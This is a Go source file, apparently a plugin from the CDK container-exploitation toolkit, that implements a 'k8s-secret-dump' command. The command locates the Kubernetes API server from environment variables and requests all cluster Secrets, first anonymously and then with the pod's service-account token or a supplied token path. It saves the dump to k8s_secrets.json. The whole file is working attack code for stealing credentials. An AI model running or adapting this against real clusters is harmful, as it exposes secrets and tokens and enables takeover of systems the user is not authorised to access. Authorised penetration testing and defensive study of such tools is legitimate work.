package exploit

import (
	"fmt"
	"github.com/Xyntax/CDK/conf"
	"github.com/Xyntax/CDK/pkg/kubectl"
	"github.com/Xyntax/CDK/pkg/lib"
	"io/ioutil"
	"log"
	"strings"
)

var secretApi = "/api/v1/secrets"

func dumpK8sSecretsSA(serverAddr string, tokenPath string) string {
	log.Println("requesting ", secretApi)
	resp := kubectl.ServerAccountRequest(
		kubectl.K8sRequestOption{
			TokenPath: tokenPath,
			Server:    serverAddr, // default
			Api:       secretApi,
			Method:    "get",
			Args:      "",
			Anonymous: false,
		})

	return resp
}

func dumpK8sSecretsAnonymous(serverAddr string) string {
	log.Println("requesting ", secretApi)
	resp := kubectl.ServerAccountRequest(
		kubectl.K8sRequestOption{
			TokenPath: "",
			Server:    serverAddr, // default
			Api:       secretApi,
			Method:    "get",
			Args:      "",
			Anonymous: true,
		})
	return resp
}

// plugin interface
type K8sSecretsDumpS struct{}

func (p K8sSecretsDumpS) Desc() string {
	return "try to dump K8s secret in multiple ways, usage: cdk run k8s-secret-dump (auto|<service-account-token-path>)"
}
func (p K8sSecretsDumpS) Run() bool {
	// if your script needs input, parse os.Args by yourself.
	args := lib.Args["<args>"].([]string)
	if len(args) != 1 {
		log.Println("invalid input args.")
		log.Fatal(p.Desc())
	}

	// get api-server connection conf in ENV
	log.Println("getting K8s api-server API addr.")
	addr, err := kubectl.ApiServerAddr()
	if err != nil {
		log.Println(err)
		return false
	}
	fmt.Println("\tFind K8s api-server in ENV:", addr)

	var resp string
	var outFile = "k8s_secrets.json"
	switch args[0] {
	case "auto":
		log.Println("trying to dump K8s Secrets with user system:anonymous")
		resp = dumpK8sSecretsAnonymous(addr)
		if !strings.Contains(resp, "selfLink") {
			log.Println("failed, api-server response:")
			fmt.Println(resp)

			log.Println("trying to dump K8s Secrets with local service-account:", conf.K8sSATokenDefaultPath)
			resp = dumpK8sSecretsSA(addr, conf.K8sSATokenDefaultPath)
			if !strings.Contains(resp, "selfLink") {
				log.Println("failed, api-server response:")
				fmt.Println(resp)
				return false
			}
		}

	default:
		log.Println("trying to dump K8s Secrets with local service-account:", args[0])
		resp = dumpK8sSecretsSA(addr, args[0])
		if !strings.Contains(resp, "selfLink") {
			log.Println("failed, api-server response:")
			fmt.Println(resp)
			return false
		}
	}

	log.Println("dump secret success, saved in: ", outFile)
	err = ioutil.WriteFile(outFile, []byte(resp), 0666)
	if err != nil {
		log.Println("failed to write file.", err)
		return false
	}

	return true
}

func init() {
	plugin := K8sSecretsDumpS{}
	lib.Register("k8s-secret-dump", plugin)
}
